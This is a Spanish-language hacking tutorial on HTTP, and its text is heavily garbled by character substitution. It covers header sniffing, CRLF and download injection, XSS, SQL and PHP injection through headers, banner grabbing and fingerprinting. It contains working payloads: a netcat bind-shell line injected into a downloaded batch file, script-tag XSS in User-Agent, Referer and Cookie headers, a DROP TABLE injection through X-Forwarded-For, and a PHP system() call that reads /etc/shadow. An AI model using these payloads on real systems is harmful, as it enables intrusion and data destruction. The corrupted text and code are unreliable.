Você está na página 1de 21

################################################################ # Title: HTTP al descubierto # # Authors: Vengador de las Sombras & Sknight # # Website: http://0 erl0ad!blogspot!

com # # "ate: ##$%$&00' # # (ontact: camaleon)#'*hotmail!com & +i,!securit-*gmail!com # ################################################################ [-------------Index-------------] 0,0#: .ntroducci/n al protocolo HTTP /!0,0# 0structura de HTTP - sus cabeceras /!0,0& 1etodos HTTP 0,0&: Sni22eo - 1odi2icaci/n de (abeceras 0,03: .n-ectando (/digo /!0,03 (4+5 .n6ecton: "escargas .n2ectadas 7.ntroducci/n al HTTP Splitting8 /!0,09 :SS & S;+ in6ections /!0,0< PHP in6ections 0,09: 0numeraci/n a tra =s de HTTP /!0,0> Sacar in2ormaci/n con ?PT.?@S /!0,0A Banner Crabbing /!0,0' Http 5ingerprinting 0,0<: (ontraataDuesE 0 itando la identi2icaci/n de nuestro ser idor 0,0>: AtaDues con 1etodos /!0,% (reacion - Borrado de 2icheros 7PFT - "0+0T08 /!0,#0 AuthoriGation 0,0A: +inks de inter=s & "espedida [-------------Index-------------]

0x01: Introduccin al protocolo HTTP


HTTP al descubiertoE este es el tHtulo de este paper en el Due e,plicaremos el protocolo HTTP todo lo Due abarca este amplio concepto! (omo bien han isto el paper se compone de > capHtulos Due ambos autores esperamos Due sean su2icientes para e,plicar este gran concepto! Antes de irnos a la prIctica - a otras cosasE empeGaremos este documento con un par de de2iniciones bre es - cortas para Due no tengIis Due hacer es2uerGo en memoriGarlas! 1 Que es HTTP? HTTP son las siglas de Hiperte,t Trans2er Protocol 7en espaJol Protocolo de trans2erencia de hiperte,to8 2 De donde sali HTTP? (uando la WWW 7World Wide Web8 se desarroll/E internet se abrio a las puertas de cualDuier persona Due dispusiera de una computadora! Asi mismo HTTP 2ue el protocolo creado para realiGar todas las operaciones Keb! 3 Que es HTML? H-perTe,t Markup Language 7+engua6e HiperTe,to de 1arcado8 es el lengua6e de marcado Due predomina en el desarrollo Keb! 0s usado para de2inir la estructura del documento - su respecti o contenido de hiperte,to! 4 URL y URI F4+ signi2ica Fni2orm 4esource +ocator 7localiGador uni2orme de recurso8! 0s un con6unto de

caracteresE de acuerdo a un 2ormatoE Due se usa para nombrar recursos F4. es Fni2orm 4esource .denti2ier 7identi2icador uni2orme de recurso8 de2inido en este link L#M

/.0x01 E tructura de HTTP ! u ca"ecera


Bien una eG esten las de2iciones situadas arriba bien claro amos a comenGar a sumergirnos en la parte interesante de este paper! Ahora o- a presentar un diagrama e,plicando el 2uncionamiento del protocolo HTTP

Asi es como traba6a HTTPE T(P/.P hace una petici/n a la "@S del ser idor con el Due estemos

dialogando actualmente para resol er la .p de dicho ser idor! Se establece la cone,i/n T(P! 0l na egador en ia una petici/n al ser idor 7 eIse punto /!0,0&8! 0l ser idor con2irma la petici/n en ia el archi o! 5inaliGa la cone,i/n! Seguimos ahora con las cabecerasE o- a proceder al anIlisis de una cabecera HTTP! 4ealiGamos una petici/n H0A" a KKK!google!es

0mpeGemosE nada mIs realiGar nuestra petici/n el ser idor nos manda el c/digo de respuesta L&M &00! +os c/digos de rango &,, indican Due la operaci/n se ha realiGado con =,itoE - ahora la cabecera L3M: #ac$e-#ontrol: Cenera las directi as Due deben ser usadas por cualDuier mecanismo a lo largo de la petici/n/respuesta! #onnection: .ndica Due la cone,i/n se cierraE no se mantiene como en keep$ali e %ate: 5echa - hora actual &er'er: .ndica el tipo de S!? Due corre en el ser idor 7Vease /!0,0A8 #ontent-Len(t$: (ampo Due indica el tamaJo del cuerpo del documento oE en decimal E en iado al destinatario Due hubiera en iado la peticion #ontenrtT!pe: Tipo de contenido - codi2icacion del archi o al Due realiGamos la petici/n Expire : 1uestra la 2echa en la Due a caducar la cache de nuestra petici/n! &et-#oo)ie: 0s la coockie Due nos en ia la pagina a la Due hemos realiGado la petici/nE en ella aparece su ."! Su 2echa de e,piraci/nE sobre Due directorio actua - el domio desde donde se ha obtenido!

/.0x0* Metodo HTTP


Acabamos de llegar a la parte Due ha- Due leer con mI,ima atenci/n si Dueremos seguir el tutorial de aDuH adelante sin perdernos 7sin ol idarnos del sni2eo de cabeceras8! 0n esta parte se e,plicara los metodos HTTP mIs comunes - los mIs usadosE una eG esto pasaran a er su aplicaci/n en ataDues - tecnicas de PenTesting! Procedo a mostrarles una bre e e,plicacion de cada metodo!

+ET: 0l m=todo mIs usadoE C0T obtiene cualDuier tipo de in2ormacion identi2icada en el 2ichero al Due realicemos la petici/nE ademIs la respuesta Due obtenemos del ser idor 7c/digo 2uente de dicho archi o8 es interpretada por nuestro na egador! HE,% : Nunto a ?ptions uno de los Due mIs in2ormaci/n Otil nos da! 0l ser idor nos de uel e los headers de este mismoE gracias a esto podemos obtener datos como el tipo de Keb app Due esta corriendoE su ersi/n - otra in2o Due eremos mIs adelante P-&T : 0s usado para pedir Due el ser idor acepte in2ormaci/n en iada desde el cliente! +o Due pase de ahH en adelante es -a tarea de la aplicacion! 06emplo: Fpload echo en php nosotros en iariamos un contenido post de este estilo: $$$$$$$$$$$$$$$$$$$$$$$$$$$$$#%9##'%A>'<%A'#0#%%##&'<%'<<'PrPn (ontent$"isposition: 2orm$dataQ nameRSarchi oSQ 2ilenameRSB0000>3(?:!0#!)S(+TTTTTTT)!6pgSPrPn (ontent$T-pe: image/6pegPrPn PrPn "icho upload ha admitido la imagen 6pg 7este upload es ulnerable L9M8 -PTI-.&: +legamos al metodo Due mIs in2ormaci/n nos daE options nos in2orma de los metodos de petici/n - respuesta Due admite el ser idorE este metodo condiciona lo Due a-amos a hacer si estamos intentanto encontrar un 2allo en algun ser idor o en alguna Keb app con las tecnicas Due eremos posteriormente P/T : 0l contrario de C0T por asi decirloE si C0T lee el source del arhi oE PFT permite modi2icarlo - sobreescribir el codigo original! %ELETE: Su propio nombre lo diceE permite borrar el archi o Due especi2iDuemos! T0,#E: 0l metodo re2le6o o espe6o, hace Due el ser idor responda lo mismo Due le mandamos.

0x0*: &ni11eo ! Modi1icacin de #a"ecera


Hasta ahora hemos hablado en 2orma general del protocolo HTTP - de Due las negociaciones entre cliente$ser idor se establecen a tra =s de cabecerasE los HTTP Headers! Para poder traba6ar con las cabeceras necesitaremos de una serie de utilidades cu-a 2inalidad es la de interceptar las cabeceras Due manda nuestro na egadorE para permitir su anIlisis o su modi2icaci/n! 0stas utilidades se denominan sni22ersE - 2uncionan interceptando el trI2ico Due pasa por el puerto '0 7HTTP8! 0stas herramientas pueden enir en 2orma de Addons o Plugins para di2erentes na egadoresE de entre los cuales destacan para 5ire5o,E Tamper "ata - +i e HTTP HeadersE o tambien pueden ser programas independientes como el magnH2ico Achilles! 0stas herramientas an a ser el pilar 2undamental Due sostendrI el traba6o con las cabeceras http! +a ma-orHa de programas Due cumplen con esta 2unci/nE actuan de una 2orma similarE asH Due amos a e6empli2icar c/mo sni22ear - modi2icar una cabecera utiliGando +i e HTTP Header 7Addon para 5ire2o,8E de todas 2ormas les de6amremoss una serie de manuales sobre otros sni22er L< & >M +o primero Due deben de hacer es descargarse este addon desde la Keb o2icial de 5ire2o, 7$ttp ://addons!moGilla!org/addon/3'&%) E tras la instalaci/n del addonE procedemos a e6ecutarlo desde Herramientas $U +i e HTTP Headers! Teniendo el addon cargado podemos dirigirnos a una Keb cualDuiera 7 KKK!google!es8 - er como aparecen una serie de cabeceras Due son las Due

nuestro na egador a mandado! 0n cada cabecera en iada aparece deba6o su respuestaE como aparece en el e6emplo:

C0T / HTTP/#!# Host: Pruebas!5oS!(om Fser$Agent: 1oGilla/<!0 7WindoKsQ FQ WindoKs @T <!#Q es$0SQ r :#!'!#!#>8 Cecko/&00'0A0& 5ire2o,/&!0!0!#> Accept: te,t/,mlEapplication/,mlEapplication/,htmlX,mlEte,t/htmlQDR0!%Ete,t/plainQDR0!'Eimage/pngEY/YQDR0!< Accept$+anguage: es$esEesQDR0!'Een$usQDR0!<EenQDR0!3 Accept$0ncoding: gGipEde2late Accept$(harset: .S?$''<%$#Eut2$'QDR0!AEYQDR0!A Zeep$Ali e: 300 (onnection: keep$ali e

HTTP/#!, &00 ?Z Ser er: 1icroso2t$..S/<!0 "ate: SatE 0> Sep &00' &#:&%:<> C1T :$PoKered$B-: ASP!@0T (ontent$+ength: 3<%&% (ontent$T-pe: te,t/html Set$(ookie: ASPS0SS.?@."S(;4S;T4RN+0."+?BC"C+Z+A1P5"(.?5+Q pathR/ (ache$(ontrol: pri ate

0sta serHa la cabecera sni22eada por nuestro AddonE tanto la en iada por nosotros al ser idor realiGando la petici/n C0T como la cabecera de respuesta del ser idor! Ahora bienE si lo Due deseamos es modi2icar dicha cabeceraE tendremos Due clicar en la cabecera a modi2icarE - tras esto clicar sobre el bot/n V4epetirW! Tras esto se nos abrirI un pop$up Due permitirI la edici/n de la cabecera! 0n este pop$up aparece la petici/n Due en la parte superior la petici/n Due hemos realiGado! 0n ese campo de te,to aparecen dos opciones por de2ecto para editarE o seleccionar C0T o P?ST! PeroE como probablemente esos dos m=todos no sean los Due amos a utiliGar 7puesto Due se suele traba6ar con otros como H0A"E ?PT.?@SE PFT - demIs8E tendremos Due clicar sobre la ca6a de te,to - borrar la petici/n Due ha-a - escribir la Due Dueramos! Al lado de la ca6a Due de2ine el m=todo de la cabeceraE tenemos el host al Due a a ser dirigido - deba6oE los campos a editar de la cabecera! Fna cosa mu- buena Due tiene +i e HTTP Headers es Due tiene un sistema de medici/n del nOmero de caracteres automIticoE lo Due hace mu- 2Icil rellenar el campo de (ontent$+engt! Tras editar nuestra cabecera 7-a obser areis en otros capHtulos de este paper para Du= amos a editarlas8 solamente tendremos Due ol er a clicar en V4epetirW! Ahora cerramos el pop$up buscamos entre todas las cabeceras la respuesta del ser idor! (uando tengamos demasiadas cabeceras sni22eadas en pantallaE podemos borrarlas para Due continOe sni22eando nue as cabeceras pulsando V+impiarW! 0,isten otras 2ormas de traba6ar con las cabeceras sin tener Due sni22earlas para modi2icarlasE como por e6emplo apro echar algOn programa Due haga negociaciones T(PE como por e6emplo pueden ser TelnetE Putt-E o los populares @etcat - (r-pt(at! Para mandar una cabecera a un host remoto usando @etcat ha- Due seguir unos sencillos pasos!

#!$ 0scribimos en nuestro int=rprete de comandos 7Shell8 nc [H?STU '0 7P!0! nc KKK!google!com '08! &!$ (uando se conecteE escribimos la cabecera de acuerdo con los estIndares para e itar Due el ser idor nos de una respuesta insatis2actoria! 3!$ Pulsamos dos eces enter para seJaliGar el 2in de la cabecera 7recordemos Due el 2in de las cabeceras iene seJaliGado por dos seJales de (4 - +58! 9!$0speramos a Due se nos muestre la respuesta del ser idor en la pantalla! ADuH de6amos una captura de c/mo se realiGa dicho procedimiento:

0x02: In!ectando #di(o


0n el capHtulo anterior hemos isto Du= es el sni22eo de cabeceras - c/mo modi2icar en iar cabeceras! (uando sni22eamos cabeceras podemos hacerlo con dos ob6eti osE o bien para obser ar los datos Due se en Han - de ahH buscar un posible (S45 7(ross Site 4eDuest 5orguer-8 o bien para modi2icar la cabecera - aJadirle c/digo maliciosoE el cual pro oDue en una aplicaci/n ulnerable una respuesta Due no era la Due debHa! Fna aplicaci/n Keb es ulnerable cuando mane6a datos procedentes de la cabecera sin realiGarles un correcto 2iltradoE permitiendo a un usuario malintencionado la modi2icaci/n de la cabecera para Due la aplicaci/n Keb mane6e c/digos maliciososE - e6ecute =stosE de esta 2orma podemos con ertir a las cabeceras como un ehHculo en el Due in-ectar sentencias S;+ maliciosasE Na aScriptE etc! para realiGar di ersos ataDues a una Keb! 0n este capHtulo nos centraremos en el ataDue a Kebs a tra =s de la inclusi/n de c/digo malicioso en las cabeceras!

/.0x02 #0/L3 In4ection 5introduccin al HTTP &plittin(6


0n este apartado Duisi=ramos hacer una bre e introducci/n al HTTP Splitting a tra =s de un e6emplo mu- llamati oE como es el de in2ectar una descarga! Pero antes de meternos en el tema necesitamos tener ciertos conocimientos bIsicos - simples para poder entender c/mo 2unciona la t=cnica! 0,isten una serie de caracteres especiales encodados Due sir en como seJaliGaci/n! Fnos de estos caracteres especiales son los llamados #0 7(arriage 4eturn8 - L3 7+ine 5eed8E los cuales en con6unto son traducidos por VSalto de lHneaW en el momento en Due mandamos una cabecera! Ambas seJales se traducen por 0,0" - 0,0A 7\0d - \0a8! 0n programaci/n las seJales de salto de lHnea se plasman con los caracteres de escape PrPn! (onsideramos una aplicaci/n ulnerable a (4/+5 in6ection cuando no 2iltra de 2orma correcta las ariablesE permitiendo setear en ellas alores prohibidos como lo son =stos! 0sta ulnerabilidad implica el Due un usuario malintencionado pueda manipular a su anto6o las cabeceras de un ser idorE -a Due como sabemosE la 2inaliGaci/n de una cabecera se seJala con un doble salto de lHnea o \0d\0a\0d\0a! 0ntonces si un usuario mal intencionado setea una ariable con ese c/digo pro ocarI la Vpartici/nW de la cabeceraE permitiendo colocar 6unto al doble salto de lHnea el c/digo Due =l considere oportunoE normalmente serI una segunda cabecera! A la t=cnica de VtruncarW o VcortarW una cabecera para controlar una respuesta del ser idor se la denomina VHTTP SplittingW! Fna t=cnica deri ada del HTTP Splitting puede ser lo Due se denomina V5ile "oKnload .n6ectionW - consiste en in2ectar con el c/digo Due nosotros deseemos una descarga! Si tenemos una aplicaci/n Due descarga 2icheros con un c/digo similar a 7en PHP8: header7W(ontent$T-pe: application/octet$streamW8Q header7W(ontent$"isposition: attachmentQ 2ilenameRW!])40;F0STLW2ileWM8Q ^ ademIs es ulnerable a (4/+5 in6ecti/nE podemos usar esta aplicaci/n como ector de ataDue contra una HctimaE -a Due como ahora eremosE podemos in2ectar una descarga con el c/digo Due nosotros deseemos! Si nosotros accedemos a una descarga a tra =s de una F4+ tipo KKK!m-site!com/descargas!php_2ileRBatch!bat - analiGamos la cabecera 7tras sni22earla8 podemos er Due DuedarHa algo tipo:
HTTP/#!, &00 ?Z "ate: 1onE 0' Sep &00' #3:<%:&& C1T Ser er: Apache content$disposition: attachmentQ 2ilenameRdoKnload!php

Si nosotros a la ariable 2ileE en eG de meter Onicamente el archi o Due Dueremos descargarE lo Due hacemos es aJadirle una seJal de doble salto de lHnea seguida de c/digoE cuando la persona descargue ese archi oE su contenido se habrI sobrescrito por el Due nosotros aJamos colocado en la F4+! (on esto hacemos Due la Hctima e6ecute c/digo malicioso Due podrHa poner en 6aDue su seguridadE si por e6emploE lo Due aJadimos es colocar una shell en un puertoE o borrar :

2ichero! (omo Prueba de (oncepto para er Due realmente 2uncionaE aDuH teneis la cabecera resultante de setear la ariable 5.+0 con Batch!bat\0d\0a\0d\0anc `l `p <A `e cmd:

HTTP/#!# &00 ?Z "ate: ThuE &A 1ar &00' 0<:0&:&9 C1T Ser er: Apache (ontent$"isposition: attachmentQ2ilenameRtro-ano!bat

nc $l $p <A $e cmd

(omo podemos erE el codigo 2uente se ha sobrescrito por una lHnea cu-a 2unci/n es la de colocar una shell en el puerto <A de la Hctima! asta es solo una aplicaci/n de las muchas Due conlle a el HTTP SplittingE puesto Due su potencial puede ser increHble! 0ste apartado ha sido una mera introducci/n a este tipo de ataDue para Due os piDue el gusanillo e in estigu=is sobre =lE -a Due es un tema mu- amplio - como no DuerHamos des iarnos demasiado del tema central del paper apenas lo hemos podido tocar!

/.0x07 8&& ! &9L In4ection


Probablemente cuando hab=is leido el anterior apartadoE centrado en las (4/+5 in6ectionsE habrI sido la primera eG Due ha-Iis isto este tipo de ulnerabilidad! Si este tipo de ulnerabilidadE Due podemos etiDuetarla como Vno mu- e,tendida o conocidaWE ahora por el contrario si amos a tratar las ulnerabilidades mIs conocidas - e,tendidas por e,celencia: los :SS - las in-ecciones S;+! Si recordais el inicio de este capHtuloE estu imos hablando Due muchas aplicaciones traba6an con datos e,traidos de las cabecerasE - Due en la ma-orHa de los casos dichos datos son utiliGados sin pasarle pre iamente algOn tipo de 2iltroE es ine itable Due se nos engan a la mente nuestro DueridHsimos amigos (ross Site Scripting - S;+ in6ection! +a ma-orHa de casos la ariable ulnerable 7en el caso de los :SS8 suele ser alguna Due se utiliGa para mostrar alguna in2ormaci/n tipo .PE Fser$Agent - demIs! 0s por ello Due la ma-orHa de Kebs Due o2recen V er mi .P - otros datosW suelen ser ulnerablesE -a Due si nosotros sni22eamos modi2icamos una cabecera para Due Duede tipo:

Host: KKK! ermiip!es Fser$Agent: [scriptUalert7/5oS Tea1/8[/scriptU Accept: te,t/,mlEapplication/,mlEapplication/,htmlX,mlEte,t/htmlQDR0!%Ete,t/plainQDR0!'Eimage/pngE Y/YQDR0!< Accept$+anguage: es$esEesQDR0!'Een$usQDR0!<EenQDR0!3 Accept$0ncoding: gGipEde2late Accept$(harset: .S?$''<%$#Eut2$'QDR0!AEYQDR0!A Zeep$Ali e: 300 (onnection: keep$ali e 4e2erer: [scriptUalert7/0Kn3d/8[/scriptU (ookie: datosR2echaR0%\&50%\&5&00'X#>\3A90&ipR[scriptUalert7/5uck F/8[/scriptUQ ASPS0SS.?@."S(BTTBBSR(.@ZZHZ(5+Z0.?@"Z(H.PPP( (ache$(ontrol: ma,$ageR0

"amos a repetirb et oilIc Fn bonito :SS! Por eso muchos Kebmaster para VasustarW a posibles VatacantesW o usuarios malintencionados optan por mostrar esos datosE .PE Fser$Agent - demIsE pero lo Due no saben es Due estIn poniendo en peligro su propia seguridad! ^ mIs aOn cuando muchas eces guardan estos datos en un archi o para isualiGarse desde un panel de administraci/nb 0ntonces sH Due estamos de una ulnerabilidad - de las gordas! Tambi=n muchos sistemas de estadHsticas se basan en un sistema de recogida en un archi o los 4e2erer de la gente Due entra su KebsiteE - con esos datos elaboran listas de links Due apuntan a su sitiob 0,iste una alta probabilidad de Due en estos casos tambi=n nos encontremos de cara a un posible ataDue apro echando el :SS! PeroE los Oltimos tiempos se han puesto de moda las gestiones con bases de datos para 2acilitar optimiGar el traba6o de los Kebmasters! PeroE las sentencias para usar las "Bs 7"ata Bases8 si utiliGan ariables Due proceden de las cabeceras! Fn claro e6emplo 2ue la ulnerabilidad descubierta por Sir"arck(at en :$StatisticsL<M E aplicaci/n la cual usaba los datos recogidos de Fser$Agent sin realiGar un correcto 2iltradoE lo Due conlle aba a Due un usuario malintencionado pudiera introducir sentencias malignas 7S;+ .n6ections8 dentro de las cabeceras! ?tro escenario seria un sistema de baneado a tra es de :)5?4WA4"0")5?4:
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $consult = !"s#l_#u$%"& 'SE(E)T * FRO+ , n$ -os ./$%$ ip=$ip' 0 $con$1ion);

0n ese c/digo ulnerableE podemos spoo2ear la cabecera - aJadirle una S;+ in6ection con el c/digo 2oodQ "4?P TAB+0 baneadosQ$$E pro ocando Due se borre la tabla SbaneadosS! Si nos apeteciera 6ugar mIsE usando .S04T .@T? podriamos aJadir la .P del admin para darle un susto - a isarle!

/.0x0: PHP in4ection


0n el apartado superior hemos hablado de como implementar estas dos ulnerabilidades 7:SS S;+ in6ection8 usando los metodos HTTP - un Sni22er de cabecerasE ahora amos a hablar sobre las PHP in6ections! Algunos no habran oHdo hablar nunca de este tipo de ulnerabilidad sin embargo tiene grandes similitudes con 45.E aunDue ahora e,plicare la peDueJa di2erencia entre las dos!

(on un include78 mal 2iltradoE nosotros lo apro echamos para in-ectar la url de nuestro interprete de comandos 7shell8E sin embargo las PHP in6ections consisten en usar la propia aplicacion ulnerable como interprete de comandosE para Due esto suceda dentro de dicha aplicacion de e de estar presente la 2unci/n e al78 - el usuario tiene Due poder modi2icar algun parImetro! +a 2orma de pre enir esto es denegar la e6ecuci/n de comandos al usuario o en otras palabras Due nada dentro de e al78 dependa de ariables Due pueda modi2car el usuario! Bueno ahora o- a pasar a mostrarles como podemos implementar las PHP in6ections usando las cabeceras - el +i e HTTP headers .maginense Due tenemos una Keb Due captura todas las ips de los isitantes - para ello usa algo parecido a esto:
[_php ]lista R open 7Sips!t,tSE SaS8Q 2Krite 7]listaE ])S04V04LdHTTP):)5?4WA4"0")5?4dM8Q 2close7]lista8Q _U

^ e identemente otro archi o 7inde,!php por e6!8 llamara a esta especie de logE dicho archi o hara un include78 a ips!t,tE ahora nosotros lo Due pretendemos hacer es modi2icar nuestra cabecera para mandar c/digo php a ips!t,t - cuando este 2ichero sea llamado por inde,!php sea e6ecutado!

C0T /inde,!php HTTP/#!# Host: Fser$Agent: 1oGilla/<!0 7:##Q FQ +inu, i>'>Q en$FSQ r :#!%!0!#8 Cecko/&00'0A#>#< 5edora/3!0!#$#!2c% 5ire2o,/3!0 Accept: te,t/htmlEapplication/,htmlX,mlEapplication/,mlQDR0!%EY/YQDR0!' Accept$+anguage: es$esEesQDR0!'Een$usQDR0!<EenQDR0!3 Accept$0ncoding: gGipEde2late Accept$(harset: FT5$'EY Zeep$Ali e: 300 (onnection: keep$ali e 4e2erer: [php ob)cleanQ s-stem7Snano /etc/shadoK #o6alaS8Q _U

"e esta 2orma podemos apro echar la aplicaci/n como si se tratase de una shell! (omo pueden comprobar podemos apro echar para e6ecutar comandos habiendo in2ectado el arch io ips!t,tE en nuestro caso hemos intentado isualiGar el archi o shadoK o biamente sin pri ilegios de root nos podemos ir ol idandoE no obstante podemos usar ls para listar el contenido del directorio

/.0x0; &acar in1or<acin con -PTI-.&


^a hemos hablado del metodo ?PT.?@S en el capHtulo /!0,0& pero ahora intentaremos pro2undiGar un poco mIs - presentar algunas pruebas de concepto! (omo bien decHamos en dicho capHtulo anterior el m=todo ?PT.?@S nos in2ormaba de Due otros m=todos estaban permitidos - cuales no!

ADuH os de6o una bre e prueba de concepto:

(omo emos en el campo AlloKE el ser idor permite los metodos C0TE H0A"E ?PT.?@S T4A(0! Si hemos leido el capHtulo /!0,0& recordaremos Due T4A(0 era el m=todo espe6oE e,iste una tecnica Due usa este metodo para conseguir un :SS aunDue dudo Due en este caso sea posible usarlo!

/.0x0= >anner +ra""in(


;uiGas a muchas personas no les suene esta t=cnicaE - a otras simplemente les pareGca estOpidoE personalmente no estamos de acuerdo con estoE -a Due esto2orma parte de la etapa de enumeraci/n o reconocimiento para los Due pretenden hacer una intrusi/n a un ser idor por medio de ulnerabilidades! @o obstante no ha- Due 2iarse al #00\ de los banners -a Due estos son modi2icablesE para hacer una correcta enumeraci/n del ser idor a atacar les recomiendo Due lean el siguiente capHtulo de este paper! Antes de empeGarE me gustaria de2inir bannerE 0stamos llamando banner a la in2ormacion 7aplicaci/nE ersi/nE plata2orma sobre la Due corre8 Due trasmite un ser icio cuando traba6amos con =l! ADuH un e6emplo de si nos conectaramos al 2tp de leetupload!com

+a parte encuandrada en ro6o seria la correspondiente al bannerE nos in2orma de Due ha- un ser icio corriendo en el puerto &#75TP8! @os i2orma tambien Due como aplicaci/n utiliGa 7Pro5T"8 su ersi/n 7#!3!#8 - en este caso tambi=n el host de la Keb 7"reamHost8! Pues sigamosE ahora amos a poner un bre e e6emplo de banner grabbing hacia una Keb mu-

conocidaE sinceramente podrHan ser un poco mIs discretos pero buenoE eso -a depende de como se tome su tarea el administrador:

^ tachInc 1iren cuantra in2ormaci/n hemos sacado con solo una petici/n H0A"! ^a sabemos Due el ser idor utiliGa ApacheE - su ersion #!3!9#! Tambi=n sabemos Due corre sobre un sistema operati o basado en Fni,! ;ue usa la ersi/n <!&!> de PHP 6unto a arios mods 7log)b-tesE bKlimitedE auth)passthroughE ssl8 - ?penSS+ 0!%!'b ;uiGIs estos datos os suenen de algun scaneo Due habr=is echo con nmapE sin embargo como podr=is haber isto hemos ahorrado muchHsimo tiempo! Hacer esto de seguido se os puede hacer una tarea algo pesada por ello amos a de6ar arias herramientas Due os pueden ser ir! He aDuH una simple tool codeada por engadorE Due nos permite obtener la misma in2ormaci/n Due una petici/n H0A"!
234us%4,in4p$%l 2 5 nn$% 6% ,,$% E1 !pl$ ," V$n7 -o% -$ l s So!,% s &F8O8S T$ +) 2 P$%!iti- su -ist%i,uci9n " $-it ci9n si$!p%$ " cu n-o 7u %-$n c%:-itos 2 W..8A%7$ni;$%soH c<8co!8 R == R$!ot$E1$cution8o%6 == >;$%l> -8,lo7spot8co!

unl$ss &$AR6V[>])? @uso A us$ BOCCSoc<$tCCBDET; $/ost = $AR6V[>]; $po%t = $AR6V[E]; $siF$ = 'E>>>'; $p$ticion = 'HEAD 4 HTTPG4E8>'; $p$ticion 8= 'G%GnG%Gn'; 2)onc t$n !os un -o,l$ )R4(F p % in-ic % $l Hin l -$l H$ -$% p%int '[I] )on$ct n-o con $/ost 888Gn';

$soc<$t = n$. BOCCSoc<$tCCBDET& P$$%A--% =J $/ost0 P$$%Po%t =J $po%t0 P%oto =J 'tcp') == -i$ '[K] Do s$ / po-i-o con$ct %

$/ost';

p%int $soc<$t $p$ticion; 2+ n- !os l c ,$c$% %$ - $soc<$t0 $%$spu$st 0 $siF$; 2 ($$!os l s li- -$l Soc<$t Ls li- = split&4Gn40 $%$spu$st ); Ho%$ c/ $lin$ &Ls li- )? iH &$lin$ =M 4S$%;$%4)? $, nn$% = $lin$ ; A A $_ = $, nn$%; 2)on to-o $sto s4NADDRESSJ*44; 2(o #u$ / c$!os $s s4NG4ADDRESSJ44; 2(i!pi % l lOn$ -$ nu$st%o , nn$% $, nn$% = $_; 2P % #u$ s l7 Pnic !$nt$ los - tos #$u nosot%os #u$%$!os p%int 'Gn5 nn$% -$ $/ost =JGnGn $, nn$%GnGn'; $1it&E); su, uso ? p%int 'QsoC 5 nn$% NNHOSTJ NPORTJ'; $1it&>); A 2Fin -$l p%o7% !

Pero si Dueremos automatiGar mIs aun nuestra tarea podemos usar un addon mu- interesante para el 2ire2o,E el Creasemonke- 7https://addons!moGilla!org/es$0S/2ire2o,/addon/A9'8! "ado Due este no es un tutorial sobre este mara illoso addon no daremos una e,plicaci/n concreta sobre su uso o Due hace para ello pueden er los links Due se de6aran al 2inal del paper L>M Pues bien el script Due encontramos estaba echo por (#c9tr#T
44 ==Qs$%Sc%ipt== 44 Ln !$ D$;i t/ n3 44 Ln !$sp c$ /ttpC44...8lo.s$c8o%74 44 L-$sc%iption S! ll HTTPD 5 nn$% 6% ,,$% 44 Linclu-$ * 44 ==4Qs$%Sc%ipt== 4* T/is is s! ll &! ",$ P%ooHKoHK)onc$pt) HTTP , nn$% 7% ,,$%8 W%itt$n ," )EcRT%ES &/ttpC44l ,8lo.s$c8o%74)8 *4 i17location!hre2RRtop!location8e 'ar di Rdocument!create0lement7Sdi S8Q di !setAttribute7SidSEScentauriS8Q di !setAttribute7Sst-leSES2ont$2amil-:VerdanaEArialEHel eticaEsans$seri2Q2ont$siGe:##p,Q$moG$ opacit-:0!'Qposition:2i,edQG$inde,: 0Qtop:&\Q2loat:le2tQle2t:&\Qbackground$ color:#000Qpadding:3p,Qcolor:#555Qborder:#p, dashed #555QS8Q di !innerHT1+RS[b st-leRdcolor:#00A9%0QdU"e iathanc: [/bUSQ C1),mlhttp4eDuest7e method: dC0TdE url: dhttp://dX7document!domain8Xd:'0/dE

headers:e dFserAgentd:d1oGilla/9!0 7compatible8 BannerCrabcd fE onload:1unction7response"etails8e i174S$%;$%C&8*)4i!test7response"etails!responseHeaders88e di !innerHT1+XRSHTTP" Application: SX74eg0,p!]#8!replace74&N=J)4Edd8XS[br/USQ f document!bod-!append(hild7di 8Q f f8Q f

^ cada eG Due isitemos una Keb con nuestro 2ire2o, nos aparecerI una barra de este tipo:

/.0x0? Http 3in(erprintin(


"ebido a Due los banners pueden ser spoo2eables para o2uscar a los posibles atacantesE es necesario recurrir a otro tipo de enumeraci/n VmIs 2iableW para poder saber con un %<\ de posibilidades ante Du= tipo de ser idor nos encontramos! 0sta t=cnica es conocida como 2ingerprinting 7huella dactilar8 - consiste en la e6ecuci/n de 9 tests 7orden de campos al hacer un H0A"E respuesta ante un "0+0T0E respuesta ante una ersi/n del protocolo HTTP incorrectaE por OltimoE la respuesta Due da el ser idor ante un protocolo erroneo8! (on los resultados de los mencionados cuatro testsE podremos di2erenciar per2ectamente entre ser idores Apache - los ..SE -a Due de cada uno se e,trae un resultado di2erente ante cada uno de los tests! 0l primer test consiste en analiGar una cabecera respuesta ante una petici/n de tipo H0A" al ser idor! 0ntre la respuesta Due da un Apache - un .SS e,isten ciertas di2erencias Due se obser an de 2orma mu- directa al comparar dos cabeceras:

,pac$e:
HTTP/1.1 200 OK Date: Wed, 10 Sep 2008 14:41:01 GMT Server: Apache Last-Modified: ed, !0 "#$ 200% 1&:10:!' (MT )Ta*: +a,e0d-1!a--'!-2%2d%-0c0+ Accept-.a/*es: ,0tes 1o/te/t-Le/*th: !11o//ectio/: c$ose 1o/te/t-T0pe: te2t/ht3$

..S:

HTTP/#!# &00 ?Z Ser er! Mi"roso#$%IIS&'() 1icroso2t?22iceWebSer er: <!0)Pub :$PoKered$B-: ASP!@0T (ontent$+ocation: http://&00!9%!#<<!&#9/inde,!html "ate: WedE #0 Sep &00' #9:3%:<3 C1T (ontent$T-pe: te,t/html Accept$4anges: b-tes +ast$1odi2ied: ThuE 0> "ec &00A 03:&':#< C1T 0Tag: Seab#b9%b'3Ac'#:#>>%S (ontent$+ength: >>

